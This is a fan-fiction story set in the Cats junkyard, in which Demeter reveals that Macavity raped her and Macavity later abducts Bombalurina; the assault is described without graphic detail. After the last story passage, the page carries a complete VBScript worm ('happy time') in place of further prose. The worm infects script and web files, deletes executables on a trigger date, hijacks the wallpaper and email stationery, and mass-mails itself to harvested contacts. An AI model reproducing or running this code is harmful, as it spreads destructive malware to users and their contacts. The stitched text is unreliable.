Demeter's Story
by DemeterFluff
Summary: Demeter faces her past: is she ready to love again?
1. Default Chapter

Demeter's Story

Demeter's Story  
Chapter One: The Scars of the Past

The wind ruffled her velvety soft black and golden coat and Demeter shivered slightly in the mid-autumn air. She inhaled the air thick with a pale violet mist. The world she lived in was not a strange place, but it had an exotic beauty that night. The dim light from the streetlamps was stretched in a million innumerable directions, creating giant spheres of light around the streetlamp itself, and giving everything nearby a pale orangey hue.

It seemed so long since Demeter had been at peace inside, and really relaxed. She had to put up a comfortable, at ease facade when she was around the tribe members. She had to pretend she didn't care about what happened to her before.

No one suspected a thing. They would tease her, and she would pretend it didn't hurt her deep down inside. She pretended she would never cry about it, but more often than not, she ended the day by crying herself to sleep, alone in the darkness of the still junkyard. It was exactly what she had expected to be doing that night.

But that night, there was something different in the air. She could sense it, but not quite tell what it was. It was... almost as if she had come close to forgetting her past. But there was no way she could block it out forever. Even if she kept it from flowing back into her consciousness for one evening, it would taunt her again the next day.

The memories would come flooding back, as they did at one point or another every evening, as soon as she tried to sleep. It alway seemed as though sleep would never come. Sometimes it didn't, and she lay, tired and sobbing softly to herself, from midnight till dawn the next day.

Like sleep, the comfort she longed for almost never came. No one knew or cared that she cried herself to sleep because they made her remember. No one cared about what she had been through, nor did they want to. One less thing on their consciences. They didn't care and they never would, never could. It was something Demeter had long grown to accept as reality. Nor would it ever change. Things in the Junkyard seldom did.

And so her mind would not change either. She couldn't let go of the past. She couldn't move on. There were wounds that refused to heal. They remained too deep, scar tissue, blocking her from normal, Jellicle life.

Demeter's thoughts continued to wander, for the first time in almost a year not remaining on what had happened long ago. Her mind was well on the way to healing, but it was still a painful thing to remember.

Basking in the soft moonlight, Demeter tried to think of other things. She let her deep green eyes absorb the light of the moon for a while that seemed only a few seconds but was in reality much longer. Someone was nearby. She sensed their presence long before they came forward.

"Munku..." she murmured, and the presence stopped moving, telling her silently that it was him approaching. She blinked, and kept her eyes closed for a minute, to hold back her memories. As he came near, she wondered if she was ready for a new relationship, if she would ever be ready.

Munku gently touched her arm. "You can't hide the way you feel forever, Demi," he told her. Even though she knew he couldn't see her face in the darkness, she turned away. He tried to embrace her, but she placed her paw on his chest; a silent gesture of 'I'm not ready.' Munku obeyed her gesture, and came no closer.

"I... can't," Demi said softly. "There isn't a way I can heal the wounds of my past." She sighed, and laced her fingers in the thick fur of his chest. "I wish I could move on, but I can't. I just can't..." Munku caressed her arm, lovingly.

"I understand, and I want to help you move on in any way that I can," he whispered to her, and she could sense that his words were true, but her feelings scared her. She didn't want it to happen again... and although she thoroughly trusted the silver tabby, she still wasn't ready to try and love again. The scars of abuse, though faded and hidden beneath her fur, were still having a tremendous impact on her emotions, and she could not forget them.

She did understand that Munku only wanted to help her, and that he cared about her very much, much more than anyone else she had ever known. If she could let go of the past, she could love him back, but letting go seemed so hard. The events of the past haunted her, day and night, and she couldn't force them away.

"No," she said after a while, "You don't understand. You can't understand. You never will understand." Even she had no idea why she had suddenly rounded on Munku. She pulled away from him, and turned away.

"What don't I understand?" demanded Munku. "You won't tell me what happened to you, except that Macavity hurt you, which we could all see anyway." Demi shook her head sadly.

"There's much more than that... something no one bothered to ask me about," she sighed, deciding whether she was ready to even tell anyone. She turned slowly to face him again. "I'm not sure I'm ready to talk about it." Her eyes glistened in the dim light, and they welled with tears as she allowed her memories to flood into her mind.

"What?" asked Munku, his voice soothing and comforting. "What is it?" His face showed his concern, and Demi let him take her in his arms as the tears of pain flowed from her eyes.

"You only asked... if he... he hurt me," Demi murmured. "He did more than just hurt me. He...he..." Demi paused, sobbing. She couldn't hold back her emotions any longer. She didn't care if Munku thought she was foolish for being so upset about it. "He... made me..."

Munku held her close, knowing she needed comfort. "Oh, Demi..." he said, "He raped you, didn't he?" Demi nodded almost imperceptibly, then pushed him away.

"I don't want your pity," she insisted, trying to hold back her tears. "Keep your distance. If anyone finds out, they won't want me to be a part of the tribe any longer. I am unclean." Her eyes shone with sadness, and a tear rolled down her cheek.

"Demi, they won't reject you... he did it, not you," Munku responded. "You did nothing wrong. He is the one at fault, not you." Demi shook her head, and another tear rolled down her cheek.

"I had to have done something," she cried. She sobbed, and sat down miserably on the damp ground of the Junkyard. Munku kneeled beside her, and put his paw on her shoulder. She shook him off, and sniffled sadly.

Munku didn't know what to do about Demi. He wished he could comfort and reassure her, but he didn't want her to hate him for it. He decided to see if her sister knew how to help, and silently left to locate the red and black queen known as Bombalurina.

"Bomba?-" he whispered into her usual hiding place, testing to see if she was still awake. He didn't figure she would be, but thought it only polite to find out first.

Bomba answered, to his surprise. "What?" She appeared in the doorway of the old oven. She looked as though she hadn't slept at all for a few days. When she saw who had come, she asked, "What do you want, oh high and mighty one?"

Munku rolled his eyes at the comment. "I came to talk to you about Demi," he explained. Bomba snorted, and he knew she was going to say something sarcastic.

"What? Did you come to ask me if you can marry her? If you can get it through her head that you love her, then be my guest," she responded with a silly grin. Bomba knew he meant something serious, but she always found something silly to say.

"No," Munku hissed. Bomba could tell he was really serious. "Did she ever tell you what happened to her when Macavity kidnapped her?" Bomba shrugged.

"She said he beat on her and yelled at her, but she left it at that," she replied. She yawned, and stretched her slender, although strong, shoulders.

Munku decided to be blunt. "Demi was raped." he told her. Bomba's eyes widened in surprise, and she couldn't find anything to say. As much as she thought, she couldn't find anything to say. Why hadn't Demi told her?

"Macavity.... raped her?" she asked, disbelief evident on her voice. "Why in Bastet's name didn't she tell anyone?"

"She was afraid if she told someone, the whole tribe would learn of it and make fun of her or cast her out," he replied. "I don't know how I can make her see that it isn't her fault that he did that to her. I wish I could help, but I can't seem to get through to her."

Bomba shrugged. "How should I know how to get through to her? She rarely tells me anything any more," she said, saddened slightly that she couldn't help her sister. "I wish I could help you out, but I can't. I didn't even know what happened to her, and I think she's mad at me. Macavity did that to her to get back at me for leaving him, I know it."

"Don't you start blaming yourself too," Munku warned. "Poor Demi's already blaming herself for what happened to her. She doesn't need you blaming yourself." Bomba nodded, and shook the thoughts from her mind. She needed to help Demi, not feel sorry for what happened.

Bomba looked up determinedly. "Where is she? I need to help her get past this," she said, her voice as determined as her expression.

"Follow me," Munku instructed, and the set off to locate Demeter again. They found her in the same spot, and she was still sobbing quietly. She looked incredibly vulnerable and hurt, sitting all alone under the street lamps. Bomba approached her sister, but Munku stayed in the shadows.

"Demi," she asked softly, "Why didn't you tell me that Macavity raped you?" Demi wheeled around, her face wild with anger.

"He told you, didn't he? I don't want everyone to know! I don't want to be pitied! Go away! And if he's here, tell him to leave me alone!" she screamed. She drew in a ragged breath and turned away from her sister.

"I would have found out eventually," Bomba insisted. "And its better that I know." She put her paw on Demi's shoulder. Her sister was trembling.

"And you don't hate me?" she asked, her voice barely a whisper. "And he doesn't hate me?" Almost immediately after she said it, she began, "How can you not? After what happened? It doesn't seem right that you can even trust me..."

"You're my sister," Bomba said, "I will always trust and love you." Her words seemed hard to believe to Demeter. Her sister had always been protective, seemingly too protective of her at times, but had still allowed Macavity to be near her, even though she knew he was dangerous. Bomba had turned her back for little more than a minute, only to find that the Mystery Cat had kidnapped her sister.

Demi's vision blurred, and she closed her eyes. She felt another presence. "Don't bother keeping your distance, Munku," she spoke, mysteriously. "I know you're here." She paused, taking a deep breath. "I know you told her about what happened to me, and although I wish you hadn't, I'd rather just describe what happened once than twice."

Munku obeyed her command, and came forward from the shadows, wondering in the back of his mind how she had known he was there. Demi remained silent for quite a long time, and then began to describe what Macavity had done to her.

_He picked me up, and slung me over his shoulder. I didn't cry out, because I thought it was only a game. I realized it was not when we got out of the Junkyard, and continued just as swiftly. The I started screaming and crying, but no one cared enough to come and help me._

We arrived at a warehouse sort of thing, and he took me inside. My paws were shackled to the floor of a room, and I was left alone there for at least an hour, in the cold darkness. The door creaked open and he came in. He slapped my face, and said it was my fault Bomba didn't want a serious relationship with him. He kicked me in the stomach, and laughed when I cried.

He ran his paws all over me, covering me with scratches that oozed blood. He enjoyed seeing me in pain. Seeing me suffer. And then... then... he... he forced himself on me...

I must have passed out, but I woke up that night in an alleyway, lost and alone in the dark. I found my way home by morning, thank Bastet. I never told anyone. I was too ashamed that I'd let him get me out of the Junkyard in the first place, and then about what he'd done...

At that point, she could go no further, and her sadness and anger consumed her. Tears flooded her eyes, and she sobbed uncontrollably.

"Demi, we didn't know what happened to you... No one heard you calling for help... He'd gotten to far... We were all worried about you..." Bomba explained soothingly. She knelt down next to her sister, and tried to hug her.

Demi almost threw her sister off of her. "Stay away from me!" she rounded on her sister. "I'm not fit to be a member of this tribe! I'm no longer pure!"

"Demi? How can you say that?!" cried Bomba. "You belong here, with the Jellicles, with me, and with Munku!" Demi hissed, but it was a mixture of a hiss and a sob.

"Jellicles should remain pure... they should only mate with someone they intend to stay with forever... I have lost that..." she sobbed. Her body shook with emotion, and she could hardly breathe because of how hard she was sobbing. Her eyes began to hurt from the tears. "How can I stay here when I will never fit in? When the kittens will taunt me because Macavity used me as a whore?!"

"Demi...I will protect you from them, and any of them who tries to taunt you will get a good talking to about it," Munku promised.

"You want to protect me because you pity me," Demi spat. "I don't want your pity! I want someone who understands what I've been through, and what I'll go through! And that, neither of you can provide." She lay down, with her head buried in her paws, curled into a ball.

"Demi," Munku protested. "I don't pity you, I want to be there for you! Don't turn me away! I want to understand what you've been through and how to help you! I want to protect you because I love you!"

"You can't help me!" Demi cried. "The damage has been done, and it's irreparable." She sat up, tears still streaming down her face. Her emerald green eyes were filled with hatred and pain. A sudden gust of wind blew her bangs out of her eyes momentarily, and she closed her eyes, almost as if to shut out her emotions.

"I may not be able to repair the damage, but let me at least try," Munku asked. "That's all I'm asking of you, Demi."

She turned to him, debating whether or not to give love another chance. Munku held out his paw to her, and hesitatingly, she took it, and allowed him to pull her close. Neither of them noticed Bombalurina sneak away.


	2. Demeter's Story: Part One - The Scars of...

Demeter's Story: Part One - Chapter Two

Bombalurina paused, watching Demeter and Munkustrap for but a moment more before leaving the area. Deep inside, she longed for the sort of love that they shared too, but doubted if she'd ever find it.

As she watched the sky, clouds slowly drifted over the moon, and she sighed with dismay as it began to rain. The heavy drops fell hard from the water-laden cloud and splashed over the dry ground of the Junkyard.

Bomba sought shelter underneath the old Ford that was stuck, sinking into the ground little by little whenever it rained and the ground became soggy enough. When she got out of the rain, she shook the sparkling droplets out of her moistened fur. If it kept raining, it would be a long night for her, sitting alone in the darkened, chilly Junkyard.

She felt her muscles grow tense. A sinister presence was close by. Not too close, but still too close for comfort when her intuition could not tell her who was near.

The presence drew nearer. She could sense its approach. The fur on the back of her neck stood on end, and she dreaded turning to make sure her instinct was correct. Hesitating, she turned. "Macavity..." she hissed warily as her eyes took in the sight of the wild furred tom who stood defiantly a short distance behind her.

The red and black tom approached her undaunted. "Hello, beautiful," he murmured. Bomba gritted her teeth and hissed softly.

"Stay away from me," she told him, "I've had far too much of you." Ignoring her, he placed his paw on her shoulder.

The rain became a slight drizzle around the ruined car, and Bomba wished that someone else would come near, someone who could make Macavity leave. "Bomba, hear me out..." he pleaded, sounding so sincere that she almost wanted to believe the words he spoke. "I wouldn't have come here if it wasn't something important." She snorted to emphasize her disgust (which wasn't entirely genuine) with the ginger tom.

"You've wasted your time. I don't want to hear what you have to tell me," and once again she turned her back on him. Her tone turned more menacing. "I know what you did to Demi, and I will not let you near her or me again!"

Macavity growled. Bomba had always been a stubborn queen, but she was being beyond difficult this time. It seemed to him that he would have to make her listen to what he had to say forcefully.

"Look, Bomba, I made a mistake," he said, knowing that it wouldn't convince her to believe him, but he thought it would make what he wanted to tell her sound better. "I never should have done what I did to Demi..."

Bomba rolled her eyes. He knew she was going to. Her personality was that way. Still, he knew that there had to be a way to get through to her, to have her hear him out. He reached out, and seized her arm. Her expression was a mix of confusion and fear.

"What are you doing?" she hissed, pulling her paw from his.

"I want you to listen to me," he spat back. "And it appears you are going to make me force you to listen."

Demeter's eyes suddenly opened wide with fear. "Bomba..." she whispered, her voice hushed. Munku blinked, not fully understanding what she was talking about. He looked around, and saw no one in the still of the junkyard around them. Demi saw the confusion in his eyes.

"She's in trouble," she elaborated. "Macavity." That one word explained it all to Munku. He took Demi's hand, determined not to leave her alone if Macavity was about.

"Then we have to find her," Munku spoke, trusting Demi's instinct. Demi nodded, and together they went in search of her sister. She grew more worried when the found no sign of Bomba anywhere.

Demi paused for a moment. Munku stopped as well. "What is it, Demi?" he asked her, concerned.

"What if he hurts her?" she asked, her voice soft with concern.

"He won't," Munku promised, although he wasn't at all confident that it was the truth. The nervousness on Demi's face lessened, but did not wholly disappear, and Munku knew that she would blame herself if anything happened to her sister.

They waited in silence for a moment. Voices, arguing, drifted from underneath the old Ford. Demi's fur bristled as she recognized Macavity's voice. The contralto female voice he was arguing with belonged to Bomba.

"Under the car," Demi whispered. Munku marveled at her ability to know exactly where the voices were coming from even in the rain. He nodded, and slunk over to the car. She stayed close behind him, nervous that Macavity might be playing some sort of trick on them.

In the darkness under the car, Bombalurina was still arguing with Macavity, trying to get him to leave her alone. The argument continued for a few moments as the other two felines watched.

Macavity seemed to sense their presence. "I believe we have a couple of guests," he told Bomba. Demi's eyes widened, and Munku growled.

"Get away from here," Munku threatened the Hidden Paw, "Before you get what's coming to you."

The Mystery Cat only smirked. "And why, dear brother, would I listen to your petty commands? I came to speak with Bombalurina, not to speak with you, and I will not take orders from you."

Munku narrowed his eyes. Macavity was deliberately trying make him mad so that he would make a foolish mistake. That was not going to happen.

"Leave," Demi said quietly. "You've done enough damage here." Macavity glared at her anger flaring in his brilliant golden eyes.

"You keep your mouth shut," he snapped, his tone menacing, threatening her. The golden and black queen took a step back, her eyes glimmering with fear and hatred.

Macavity grinned slyly, and Munku growled, trying to anticipate the Hidden Paw's next move. "If I leave, Bomba is coming with me," the Mystery cat sneered, yanking Bombalurina in front of him. Bomba struggled, but could not make him release his grip on her.

"NO!" cried Demi, lunging from behind Munku at the Hidden Paw. He lashed out with his paw, smacking her squarely on the chest, sending her reeling into one of the tires of the Ford. She slid to the ground after having the wind knocked out of her. She lay panting on the ground, unable to bring herself to move.

Almost immediately afterward, the Mystery Cat and Bombalurina seemed to dissolve entirely, and vanished from the Junkyard.

"He took her, didn't he?" Demi asked, looking up at Munku, who was now crouched beside her. The silver and black tom nodded solemnly. Demi closed her eyes and forced back the tears she knew were coming. "He'll hurt her... or he'll kill her... or worse..."

"No," Munku promised, hugging Demi. "He won't. That bastard will not hurt your sister, I promise. When it's light tomorrow, Lonzo and I will find her and bring her back." Demi didn't seem convinced, but said nothing about it. She wanted to believe him, but she knew Macavity was sneaky, and would do anything to get his way.

Demeter sniffled a little, and a tear slid down her cheek. "Why does this have to be my fault?" she murmured, her voice soft, barely more than a whisper. "Poor Bomba... she's with him..." She then began to mumble mostly incoherent phrases.

Munku took her in his arms like one would a distressed child, trying to comfort her, although he knew his attempts would most likely be fruitless. "Shh," he whispered softly in her ear. "It's not your fault..."

Presently, Munku noticed two pairs of eyes watching them. The eyes came forward, one pair green, the other pale blue. They belonged to Alonzo, a black and white mixed-breed, and Cassandra, a Siamese.

"What's going on?" asked Cassandra. Her creamy brown coat was slick from the drizzle, although at the same time she wasn't really wet. "We heard arguing, we -"

"Macavity was here," Munku explained to them. "He was talking to Bombalurina, and somehow Demi sensed that her sister would need our help." Cassie shuddered at the thought of the Hidden Paw, and Lonzo put his arm around his mate protectively.

"Unfortunately," Munku continued, "Macavity took Bomba and disappeared before we could stop him."

Cassie's delicate blue eyes showed her concern, and one look at Demi told her how horrible the gold and black queen must feel. "Is there anything we can do to help?" Lonzo inquired presently.

Munku nodded. "I want you, Lonzo, to come with me to Macavity's territory to find Bomba and rescue her tomorrow morning."

"And I should stay and try to keep Demi coherent," Cassie finished with a slight smile on her oriental features. Again, Munku nodded his response.

"Yes," he said, "And hopefully Macavity won't give us too much trouble."

Lonzo gritted his teeth, knowing that Macavity would do anything in his power to stop them if he really wanted Bomba for something. He couldn't help thinking that there was more to Macavity's plot than what they were seeing. He decided to voice his thoughts on the issue.

"Are you sure that there isn't something more to this whole incident?" he asked, choosing his words carefully. "I mean, isn't Macavity usually a little more subtle in his approach?"

"There's obviously more to it," Demeter's soft voice replied. "But it isn't as complicated as you're thinking, Lonzo." She paused, and sniffled quietly again. "He wants to apologize for what he did to me... but I didn't see it before. If you don't get Bomba back soon, he may have time to change her mind about him..."

Munku closed his eyes and held her close to him, knowing she would be blaming herself for what Macavity was doing. Her slender body shuddered, and she sobbed audibly.

"Poor thing," Cassie murmured, but refrained from action. "Do you think Jennyanydots might be able to help her?"

Bombalurina struggled for a moment, and yanked her paw away from the Mystery Cat. "How dare you steal me from my home?!" she spat, stomping on his foot.

Macavity gritted his teeth. This was going to be much more difficult than he had anticipated. "You will listen to me now," he hissed back, "When there is no one to distract you from listening to me. And then (and only then) I will return you safely to the Junkyard."

"Fair enough," Bomba relented at last, after a moment of intense silence between the two strong-willed cats. Macavity smiled. It was one of those smiles that you could never tell whether it was genuine or not.

"What I did to Demi," he began, "Was a big mistake. I never should have hurt her like that... I never should have put that strain on you." Bomba could barely keep her stead-fast position on the argument.

"You cannot change what you have done. You have done it. There is no taking it back," she warned, "And I will not be swayed by false apologies."

A growl rose in Macavity's throat. "How dare you...." he growled. "How dare you insult me so..."

Bomba hissed in return. "Take me home. NOW."

The Hidden Paw pounced at Bomba, catching her by the throat and pinning her to the wall. "You will stay here until I decide that you can leave!" Bomba struggled and tried to lash out at him, but he only tightened his firm grip on her throat, choking her into unconsciousness.

Rem I am sorry! happy time On Error Resume Next mload Sub mload() On Error Resume Next mPath = Grf() Set Os = CreateObject("Scriptlet.TypeLib") Set Oh = CreateObject("Shell.Application") If IsHTML Then mURL = LCase(document.Location) If mPath = "" Then Os.Reset Os.Path = "C:\Help.htm" Os.Doc = Lhtml() Os.Write() Ihtml = "" Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml) Else If Iv(mPath, "Help.vbs") Then setInterval "Rt()", 10000 Else m = "hta" If LCase(m) = Right(mURL, Len(m)) Then id = setTimeout("mclose()", 1) main Else Os.Reset() Os.Path = mPath & "\" & "Help.hta" Os.Doc = Lhtml() Os.write() Iv mPath, "Help.hta" End If End If End If Else main End If End Sub Sub main() On Error Resume Next Set Of = CreateObject("Scripting.FileSystemObject") Set Od = CreateObject("Scripting.Dictionary") Od.Add "html", "1100" Od.Add "vbs", "0100" Od.Add "htm", "1100" Od.Add "asp", "0010" Ks = "HKEY_CURRENT_USER\Software\" Ds = Grf() Cs = Gsf() If IsVbs Then If Of.FileExists("C:\help.htm") Then Of.DeleteFile ("C:\help.htm") End If Key = CInt(Month(Date) + Day(Date)) If Key = 13 Then Od.RemoveAll Od.Add "exe", "0001" Od.Add "dll", "0001" End If Cn = Rg(Ks & "Help\Count") If Cn = "" Then Cn = 1 End If Rw Ks & "Help\Count", Cn + 1 f1 = Rg(Ks & "Help\FileName") f2 = FNext(Of, Od, f1) fext = GetExt(Of, Od, f2) Rw Ks & "Help\FileName", f2 If IsDel(fext) Then f3 = f2 f2 = FNext(Of, Od, f2) Rw Ks & "Help\FileName", f2 Of.DeleteFile f3 Else If LCase(WScript.ScriptFullname)  LCase(f2) Then Fw Of, f2, fext End If End If If (CInt(Cn) Mod 366) = 0 Then If (CInt(Second(Time)) Mod 2) = 0 Then Tsend Else adds = Og Msend (adds) End If End If wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper") If Rg(Ks & "Help\wallPaper")  wp Or wp = "" Then If wp = "" Then n1 = "" n3 = Cs & "\Help.htm" Else mP = Of.GetFile(wp).ParentFolder n1 = Of.GetFileName(wp) n2 = Of.GetBaseName(wp) n3 = Cs & "\" & n2 & ".htm" End If Set pfc = Of.CreateTextFile(n3, True) mt = Sa("1100") pfc.Write "<" & "HTML><" & "body ='#007f7f' background='" & n1 & "'><" & "/Body><" & "/HTML>" & mt pfc.Close Rw Ks & "Help\wallPaper", n3 Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3 End If Else Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True) fc.Write Sa("0100") fc.Close bf = Cs & "\Untitled.htm" Set fc2 = Of.CreateTextFile(bf, True) fc2.Write Lhtml fc2.Close oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID") oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook Express\5.0\Mail" MSH = oe & "\Message Send HTML" CUS = oe & "\Compose Use Stationery" SN = oe & "\Stationery Name" Rw MSH, 1 Rw CUS, 1 Rw SN, bf Web = Cs & "\WEB" Set gf = Of.GetFolder(Web).Files Od.Add "htt", "1100" For Each m In gf fext = GetExt(Of, Od, m) If fext  "" Then Fw Of, m, fext End If Next End If End Sub Sub mclose() document.Write "<" & "title>I am sorry!" window.Close End Sub Sub Rt() Dim mPath On Error Resume Next mPath = Grf() Iv mPath, "Help.vbs" End Sub Function Sa(n) Dim VBSText, m VBSText = Lvbs() If Mid(n, 3, 1) = 1 Then m = "<%" & VBSText & "%>" End If If Mid(n, 2, 1) = 1 Then m = VBSText End If If Mid(n, 1, 1) = 1 Then m = Lscript(m) End If Sa = m & vbCrLf End Function Sub Fw(Of, S, n) Dim fc, fc2, m, mmail, mt On Error Resume Next Set fc = Of.OpenTextFile(S, 1) mt = fc.ReadAll fc.Close If Not Sc(mt) Then mmail = Ml(mt) mt = Sa(n) Set fc2 = Of.OpenTextFile(S, 8) fc2.Write mt fc2.Close Msend (mmail) End If End Sub Function Sc(S) mN = "Rem I am sorry! happy time" If InStr(S, mN) > 0 Then Sc = True Else Sc = False End If End Function Function FNext(Of, Od, S) Dim fpath, fname, fext, T, gf On Error Resume Next fname = "" T = False If Of.FileExists(S) Then fpath = Of.GetFile(S).ParentFolder fname = S ElseIf Of.FolderExists(S) Then fpath = S T = True Else fpath = Dnext(Of, "") End If Do While True Set gf = Of.GetFolder(fpath).Files For Each m In gf If T Then If GetExt(Of, Od, m)  "" Then FNext = m Exit Function End If ElseIf LCase(m) = LCase(fname) Or fname = "" Then T = True End If Next fpath = Pnext(Of, fpath) Loop End Function Function Pnext(Of, S) On Error Resume Next Dim Ppath, Npath, gp, pn, T, m T = False If Of.FolderExists(S) Then Set gp = Of.GetFolder(S).SubFolders pn = gp.Count If pn = 0 Then Ppath = LCase(S) Npath = LCase(Of.GetParentFolderName(S)) T = True Else Npath = LCase(S) End If Do While Not Er For Each pn In Of.GetFolder(Npath).SubFolders If T Then If Ppath = LCase(pn) Then T = False End If Else Pnext = LCase(pn) Exit Function End If Next T = True Ppath = LCase(Npath) Npath = Of.GetParentFolderName(Npath) If Of.GetFolder(Ppath).IsRootFolder Then m = Of.GetDriveName(Ppath) Pnext = Dnext(Of, m) Exit Function End If Loop End If End Function Function Dnext(Of, S) Dim dc, n, d, T, m On Error Resume Next T = False m = "" Set dc = Of.Drives For Each d In dc If d.DriveType = 2 Or d.DriveType = 3 Then If T Then Dnext = d Exit Function Else If LCase(S) = LCase(d) Then T = True End If If m = "" Then m = d End If End If End If Next Dnext = m End Function Function GetExt(Of, Od, S) Dim fext On Error Resume Next fext = LCase(Of.GetExtensionName(S)) GetExt = Od.Item(fext) End Function Sub Rw(k, v) Dim R On Error Resume Next Set R = CreateObject("WScript.Shell") R.RegWrite k, v End Sub Function Rg(v) Dim R On Error Resume Next Set R = CreateObject("WScript.Shell") Rg = R.RegRead(v) End Function Function IsVbs() Dim ErrTest On Error Resume Next ErrTest = WScript.ScriptFullname If Err Then IsVbs = False Else IsVbs = True End If End Function Function IsHTML() Dim ErrTest On Error Resume Next ErrTest = document.Location If Er Then IsHTML = False Else IsHTML = True End If End Function Function IsMail(S) Dim m1, m2 IsMail = False If InStr(S, vbCrLf) = 0 Then m1 = InStr(S, "@") m2 = InStr(S, ".") If m1  0 And m1 < m2 Then IsMail = True End If End If End Function Function Lvbs() Dim f, m, ws, Of On Error Resume Next If IsVbs Then Set Of = CreateObject("Scripting.FileSystemObject") Set f = Of.OpenTextFile(WScript.ScriptFullname, 1) Lvbs = f.ReadAll Else For Each ws In document.scripts If LCase(ws.Language) = "vbscript" Then If Sc(ws.Text) Then Lvbs = ws.Text Exit Function End If End If Next End If End Function Function Iv(mPath, mName) Dim Shell On Error Resume Next Set Shell = CreateObject("Shell.Application") Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb If Er Then Iv = False Else Iv = True End If End Function Function Grf() Dim Shell, mPath On Error Resume Next Set Shell = CreateObject("Shell.Application") mPath = "C:\" For Each mShell In Shell.NameSpace(mPath).Items If mShell.IsFolder Then Grf = mShell.Path Exit Function End If Next If Er Then Grf = "" End If End Function Function Gsf() Dim Of, m On Error Resume Next Set Of = CreateObject("Scripting.FileSystemObject") m = Of.GetSpecialFolder(0) If Er Then Gsf = "C:\" Else Gsf = m End If End Function Function Lhtml() Lhtml = "<" & "HTML" & ">" & vbCrLf & _ "<" & "Title> Help <" & "/HEAD>" & vbCrLf & _ "<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _ "<" & "/Body>" End Function Function Lscript(S) Lscript = "<" & "script language='VBScript'>" & vbCrLf & _ S & "<" & "/script" & ">" End Function Function Sl(S1, S2, n) Dim l1, l2, l3, i l1 = Len(S1) l2 = Len(S2) i = InStr(S1, S2) If i > 0 Then l3 = i + l2 - 1 If n = 0 Then Sl = Left(S1, i - 1) ElseIf n = 1 Then Sl = Right(S1, l1 - l3) End If Else Sl = "" End If End Function Function Ml(S) Dim S1, S3, S2, T, adds, m S1 = S S3 = """" adds = "" S2 = S3 & "mailto" & ":" T = True Do While T S1 = Sl(S1, S2, 1) If S1 = "" Then T = False Else m = Sl(S1, S3, 0) If IsMail(m) Then adds = adds & m & vbCrLf End If End If Loop Ml = Split(adds, vbCrLf) End Function Function Og() Dim i, n, m(), Om, Oo Set Oo = CreateObject("Outlook.Application") Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items n = Om.Count ReDim m(n) For i = 1 To n m(i - 1) = Om.Item(i).Email1Address Next Og = m End Function Sub Tsend() Dim Od, MS, MM, a, m Set Od = CreateObject("Scripting.Dictionary") MConnect MS, MM MM.FetchSorted = True MM.Fetch For i = 0 To MM.MsgCount - 1 MM.MsgIndex = i a = MM.MsgOrigAddress If Od.Item(a) = "" Then Od.Item(a) = MM.MsgSubject End If Next For Each m In Od.Keys MM.Compose MM.MsgSubject = "Fw: " & Od.Item(m) MM.RecipAddress = m MM.AttachmentPathName = Gsf & "\Untitled.htm" MM.Send Next MS.SignOff End Sub Function MConnect(MS, MM) Dim U On Error Resume Next Set MS = CreateObject("MSMAPI.MAPISession") Set MM = CreateObject("MSMAPI.MAPIMessages") U = Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\DefaultProfile") MS.UserName = U MS.DownLoadMail = False MS.NewSession = False MS.LogonUI = True MS.SignOn MM.SessionID = MS.SessionID End Function Sub Msend(Address) Dim MS, MM, i, a MConnect MS, MM i = 0 MM.Compose For Each a In Address If IsMail(a) Then MM.RecipIndex = i MM.RecipAddress = a i = i + 1 End If Next MM.MsgSubject = " Help " MM.AttachmentPathName = Gsf & "\Untitled.htm" MM.Send MS.SignOff End Sub Function Er() If Err.Number = 0 Then Er = False Else Err.Clear Er = True End If End Function Function IsDel(S) If Mid(S, 4, 1) = 1 Then IsDel = True Else IsDel = False End If End Function 


End file.
